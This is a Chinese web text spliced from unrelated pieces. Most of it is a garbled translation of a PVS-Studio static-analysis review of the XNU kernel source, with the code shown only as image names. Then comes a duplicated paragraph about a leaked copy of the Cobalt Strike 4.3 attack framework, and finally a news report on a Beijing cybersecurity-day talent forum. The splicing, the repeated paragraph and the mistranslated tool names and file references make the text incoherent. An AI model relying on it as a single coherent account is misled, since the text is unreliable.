你可以点击这里https://opensource.apple.com/找到组件的源代码,我使用的是GitHub上的镜像来检查。

如上所述,几年前,PVS-Studio已经检查了内核源代码,相关的发现请点此https://www.viva64.com/en/b/0566/。

最新的内核安全性检测

说实话,这个项目有复杂的代码,我也没有使用这样的代码库的经验。然而,PVS-Studio的警告非常详细。有一个指向文档的链接,其中包含正确和错误的代码示例。在这次检查中,cloc统计了1346个*. C文件,1822个C/ c++标头文件,225个*.cpp文件在项目中。

Fragment N1

1.png

PVS-Studio警告:V1064整数除法的“gPEClockFrequencyInfo.bus_clock_rate_hz”操作数小于“gPEClockFrequencyInfo.dec_clock_rate_hz”之一。结果将始终为zero. pe_identify_machine.c 72。

此处使用的所有字段均为整数类型:

2.png

通过中间赋值,将分隔字段gPEClockFrequencyInfo.bus_clock_rate_hz赋值为值100000000,将除数字段gPEClockFrequencyInfo.dec_clock_rate_hz赋值为值1000000000。在这种情况下,除数比被除数大十倍。由于此处的所有字段都是整数,因此gPEClockFrequencyInfo.bus_to_dec_rate_den字段为0。

根据生成的bus_to_dec_rate_den字段的名称判断,除数和被除数混淆了。该代码的开发者可能认为初始值会发生变化,因此结果将不再等于0。但是,此代码对我而言仍然非常可疑。

Fragment N2

16.png

PVS-Studio警告:V614使用未初始化的变量'best' used. sdt.c 572

使用这个方法的目的就是要寻找某个函数的名称,该算法使用最佳变量。它可能是结果的最佳候选人。但是,最初仅在不初始化的情况下声明此变量。下次使用将检查具有最佳变量的某个元素的值,该变量此时将未初始化,甚至仅在使用其自身值的条件内对其进行了初始化。

未初始化的变量可能导致不可预知的结果,尽管这个错误看起来微不足道,但在使用PVS-Studio检查不同的项目时仍然很常见。

Fragment N3

17.png

PVS-Studio警告:V560条件表达式的一部分始终为 false: index < 0. bsd_stubs.c:236

这是分析程序如何跟踪变量的可能值的一个例子,在函数开始时,将索引变量与零进行比较。如果它小于零,则将在内部块中为变量赋值一个不小于零的值。因此,下一个外部if会再次检查index变量的值是否小于零。但是,这是不可能的。

这不会改变程序的逻辑,不过,也有可能暗示了其他条件。也就是说,在任何情况下,额外的检查并不能使代码更具可读性和可理解性。

Fragment N4

18.png

PVS-Studio警告如下:

V547表达式'bp->nb_dirtyoff >= bp->nb_dirtyend'始终为false. nfs_bio.c 3858;

V560条件表达式的一部分总是true: (bp->nb_dirtyoff < end). nfs_bio.c 3862;

请注意,这不是代码的完整形式。

现在让我们从第一个警告开始,分析程序确定nb_dirtyoff不能大于或等于nb_dirtyend。在可疑检查之前,还有两个if,带有 (bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end) 和bp->nb_dirtyend > end 检查。同样,bp->nb_dirtyend = end执行被赋值。

为什么第三个bp->nb_dirtyoff >= bp->nb_dirtyend检查总是假的?

它是如此简单,从条件来看,nb_dirtyoff小于end, nb_dirtyend等于end。因此,nb_dirtyend肯定大于nb_dirtyoff。bp->nb_dirtyoff = bp->nb_dirtyend = 0赋值将永远不会执行。

最终,我们有了以下代码部分:

20.png

可以把它简化成以下这样:

21.png

但前提是这个算法在此时才能显示出正确的答案。

如果嵌套在第一个警告中,第二个警告指示第四个警告。

22.png

此时,分析程序将基于永远不会执行零赋值这一事实发出警告。因此,外部条件已经有了bp->nb_dirtyoff < end检查。因此,由于上述情况的错误,内部检查是无意义的。

Fragment N5

23.png

PVS-Studio警告:V793奇怪的是,“len + optlen”语句的结果是条件的一部分。

这是一个相当简单的漏洞。在这种情况下,将两个变量简单地添加在一起,而不是布尔表达式。最终,仅当总和等于零时,表达式才为假。如果这是隐含的,那么可能值得显然与0进行了比较。那么,条件正确性的问题就不会困扰我们了。

也许,这是故意的。然而,在代码中还存在有这样的检查:

24.png

这表明,比较也应该在两个if中发生。

而且,此功能减少到16行,在原有形式中占2268行!

以下是同一部分的第二个警告:

V793奇怪的是,'len + optlen'语句的结果是条件的一部分。

Fragment N6

25.png

PVS-Studio警告:V793'tp-> t_rawq.c_cc + tp-> t_canq.c_cc'语句的结果是条件的一部分,这很奇怪。

还有一个检查吗,它使用总和,并将结果与另一个变量进行比较:

26.png

在简化的代码中,分析程序指出的条件是显而易见的。然而,在初始代码中,它嵌套在多个if中。因此,在代码审查时很容易忽略它。不过,分析程序不会忽略它。

Fragment N7

27.png

pvp - studio警告:V1028可能溢出。考虑将'amount + used'运算符的操作数强制转换为'size_t'类型,而不是result. kpi_mbuf.c。

同样如果条件发生错误,则结果完全不同。加法结果被转换为size_t。此时,加法操作数必须转换为size_t,以便结果完全符合数字类型。如果由于加法而发生了溢出,那么将把这个无意义的值缩减为size_t,并与mbuf_maxlen(m)的结果进行比较。因为程序员想要防止溢出,所以必须正确执行:

28.png

有几种此类警告,如下所示:

V1028可能溢出。考虑转换操作数,而不是转换结果。vm_compressor_pager.c 1165

V1028可能溢出。考虑转换操作数,而不是转换结果。vm_compressor_pager.c 1131

V1028可能溢出。考虑转换操作数,而不是转换结果。audit_worker.c 241

V1028可能溢出。考虑将'((u_int32_t) slp * hz) + 999999'操作符的操作数转换为'long'类型,而不是结果类型。tty.c 2199

Fragment N8

29.png

V1019 复合赋值表达式'n -= i'被用于condition. kern_descrip.c_99 3916内部

这段代码很难被读懂,也许应该简化一下:

30.png

这段代码似乎不太有效,但是肯定更容易理解。要快速检查代码等效性,请转到Godbolt(编译器资源管理器)。顺便说一句,在那里你可以测试PVS-Studio检查程序的工作。在此服务的工具中很容易找到分析程序。

如果不启用优化,则程序集代码将只有几行。但是,要注意if的主体。不使用新的n值。也就是说,很有可能在这里不需要赋值。

31.png

此外,当进一步使用n变量时,源代码可能会导致错误。如果表达式(n -= i) < = 0为假,则将使用新的n值。由于我尚未使用过新的源代码,因此很难确定哪种行为是正确的。

Fragment N9

32.png

PVS-Studio警告:V764传递给'vsock_pcb_safe_reset_address'函数:'dst' and 'src'. vsock_domain.c 549可能的错误参数顺序

也许这不是一个错误,但是,此阶段中调用的函数的签名看起来非常可疑:

33.png

在此片段中使用此函数时,名称相似的最后两个参数将以不同的顺序传递。

以下是同一个警告的不同内容:

V764传递给'vsock_pcb_safe_reset_address'函数的可能错误参数顺序:'dst' 和 'src'. vsock_domain.c 587;

V764传递给'vsock_pcb_safe_reset_address' 函数的可能错误参数顺序: 'dst' 和 'src'. vsock_domain.c 590;

Fragment N10

34.png

PVS-Studio警告:V1051考虑检查打印错误,有可能在here. classq_subr.c 685检查'tbr->tbr_last'

在项目中,此检查无法以最佳方式运行。发生这种情况是因为外部变量在条件或循环的主体中的代码中不断进行初始化。这些变量的名称与条件中使用的名称相似。因此,这次检查程序发出了几个明显的错误警告。条件主体中未使用选中的tbr_rate字段。初始化时比该检查多35行。这就是为什么上述警告对我来说仍然可疑的原因。但是,在此检查之前初始化的tbr_last字段未在其他任何地方使用。我们可以假设必须检查它而不是tbr_rate字段。

Fragment N11

35.png

PVS-Studio警告:V571重复检查。 'if (ar->k_ar.ar_arg_mac_string == NULL)'已在 245. audit_mac.c 246行检查过了;

PVS-Studio警告:V547表达式'ar-> k_ar.ar_arg_mac_string == NULL'始终为true. audit_mac.c 246;

分析程序对这段代码同时发出了两个警告。

你可能会注意到第一个if中的检查与第二个if中的检查是相同的。此外,对于第二次检查还有一种解释:

36.png

因此,在第二次检查中不应该有任何内部验证。我们只需要退出这个方法。所以,最有可能的是,内部检查是偶然重复的,没有任何意义。

尽管也许应该在内部检查中检查其他字段。但是,这里出现了复制粘贴错误。开发人员忘记更正字段名称。

Fragment N12

37.png

PVS-Studio警告:V567未定义行为

宏是非常难以理解的,但是,事实证明这种情况要容易一些。从OSSwapInt16(*ucsp++)表达式开始分析。

然后,我意识到有一个更简单的方法。我刚打开了项目检查后留下的.i 文件。

39.png

最重要的是,表达式的这一部分引起了我们的注意:

40.png

表达式中的操作符都不是序列点,因为我们不知道|操作符的哪个参数将首先被赋值,所以*uscp的值没有定义。

对于V567检查,PVS-Studio提供了非常详细的文档。如果你想知道为什么这样的代码会导致未定义的行为,可以详细阅读此文档。

此时,程序员只打算将增加*ucsp的值增加一倍,事实上,这个值会增加两倍。二这个过程是看不见的,也是不清楚的。这就是宏非常危险的原因。在很多情况下,最好是写一个普通的函数。编译器最有可能自动执行替换,因此,不会发生性能下降。

Fragment N13

41.png

PVS-Studio警告:V567未定义行为。让我们看一下htobe64调用的行。经过预处理,分析人员发现该行可疑:

42.png

这个问题实际上和前面的例子一样。在带有|和&操作数的内链中没有序列点。因此,每个操作期间pf_status.stateid取什么值是不知道的,结果也不确定。

同样,该变量在一行中也会递增几次。

总结

这一次分析程序发现的错误比以前的检查少,这证明XNU开发过程中很可能使用了静态分析和其他代码质量控制工具。几乎可以肯定的是,该项目使用了Clang静态分析程序。然而,如上所述PVS-Studio还是发现了错误和漏洞。

攻防演练期间,有公众号在分享相关内容。果然发现Cobalt Strike 4.3 (March 3, 2021) 02fa5afe9e58cb633328314b279762a03894df6b54c0129e8a979afcfca83d51被泄露了。于是演练结束了便结合更新日志看了一下新功能,发现部分还是挺实用的。简单介绍一下:

攻防演练期间,有公众号在分享相关内容。果然发现Cobalt Strike 4.3 (March 3, 2021) 02fa5afe9e58cb633328314b279762a03894df6b54c0129e8a979afcfca83d51被泄露了。于是演练结束了便结合更新日志看了一下新功能,发现部分还是挺实用的。简单介绍一下:

伴随和煦的春风,第八届“4.29首都网络安全日”系列宣传活动在国家会议中心顺利召开,本届活动在北京市委、市政府领导下,市委网信办、市公安局主办。ISC平台受邀承办“驱动网络安全人才能力培养”论坛。

4月29日,中国网络空间安全人才教育论坛秘书长鲁辉,360集团副总裁兼首席安全官杜跃进,中国信息协会信息安全专业委员会主任叶红,360政企安全集团助理总裁、ISC主理人卜思南,360安全人才能力发展中心负责人姜思红等数十位重量级嘉宾围绕“全启网络安全的关键点——论道●人才能力的培养”主题,与现场数百位与会朋友进行了精彩分享与探讨。

 

 

重磅发布:360网络安全大学与各高校“协同育人项目”授牌

 

大会伊始,中国网络空间安全人才教育论坛秘书长鲁辉、360集团副总裁兼首席安全官杜跃进以精彩纷呈的致辞开幕。

1.png

中国网络空间安全人才教育论坛秘书长鲁辉

 

紧随其后,重磅发布360安全人才能力发展中心与各高校“协同育人”项目的授牌仪式。360安全人才能力发展中心结合网络安全行业发展和行业人才需求,通过与高等院校、科研院所等机构深入合作,将360公司十余年沉淀积累的内部人才培养机制贯穿其中,形成360网络安全人才标准,并将此标准应用到网络安全人才的培养中,进一步助力网安人才培养质量,深化产教融合、校企合作。

 2.jpg

360安全人才能力发展中心与各高校“协同育人”项目的授牌

趋势前瞻:把脉网络安全人才培养趋势

在探索解决问题之道时,把脉当前需求现状,洞悉趋势前瞻至关重要。

现场,中国信息协会信息安全专业委员会主任叶红以“网络安全人才培养趋势”为主题,不仅对当前我国网络安全工作成效、人才培养现状和问题进行了深入剖析,同时分享了国外网络安全人才培养先进经验,并对未来网络安全人才培养的方向给出了自己的思考。

360安全人才能力发展中心负责人姜思红则以“数智时代网安人才能力需求与发展”为主题,进行了精彩分享。姜思红老师认为,人是安全的核心要素。数智时代,我们应该以更全面的视角看人在安全中的作用。现场,姜思红老师详细分享了构建网络安全人才评价依据及路径、网络安全人才能力评价模型、网络安全人才发展框架等诸多实用型培养标准与模式。

精彩报告:多维论道实用型网络安全人才培养

在聚焦论道实用型网安人才培养话题上,本届主题论坛ISC平台力邀产、学、研、企等多领域专家,进行了报告观点与实践经验分享。

西安电子科技大学网络与信息安全学院副院长杨超以“网络安全人才培养的再思考”为题,围绕要“培养好的网络安全人才”为核心点,从“何为好?如何做好?”两大维度进行了精彩分享。他认为OBE理念——以学生为中心,构建以结果为导向的人才培养体系,并进行持续改进,值得借鉴。

作为校方的另一位代表武汉职业技术学院副院长郭沙则以“‘岗课赛证融通’高职院校网络安全人才培养实践”为主题,以其学校培养模式为案例,对新时代职业教育如何发展进行了分享。

协会代表中国软协教培委秘书长初晓光,从当前市场供需状态出发,以“2020年度软件和信息服务技术人才供需现状”为主题,指出网络安全技术人才应具备如下能力:数学(密码学是重点)和计算机理论,编程能力和经验,网络通信和操作系统相关能力和经验,网络安全技术相关能力,文档与交流能力。

工业互联网安全一直是网络安全的重要领域。大会现场,北京航天智造科技发展有限公司平台运营总监杨相声,作为该领域企业代表以“强化网络安全人才培养,助力工业互联网安全发展”为主题,带来了精彩分享。杨相声指出,复合型人才的缺乏是制约我国发展工业互联网的关键因素,并进一步分享了工业互联网安全人才能力要求。

随着人工智能、大数据和云计算等新技术不断引入金融业务场景,助力金融行业业务发展的同时,也需要大量的网络安全专业人才解决金融科技建设过程中面临的网络安全风险。会上,中国民生银行信息科技部高级安全工程师张磊就以“金融科技网络安全人才需求”为题,与现场与观众们一起分享了当前金融科技对网络安全人才的需求。

巅峰对话:学术派与实用派两大模式的精彩探讨

圆桌论坛环节,南开大学网络安全空间学院副院长刘哲理,中国工业互联网研究院标准所培训负责人、主任张昂,北京邮电大学网络空间安全学院党委书记王宏原,四叶草网络安全学院院长兼高级攻防演练工程师朱利军,北京时代新威信息技术有限公司总经理王新杰几位嘉宾,围绕数字时代网络安全人才培养进行了精彩对话。

云程发轫,万里可期。本届4.29首都网络安全日驱动网络安全人才能力论坛已圆满结束。欢迎更多专家参加ISC 2021议题征集活动,更精彩的安全议题将会在ISC2021呈现。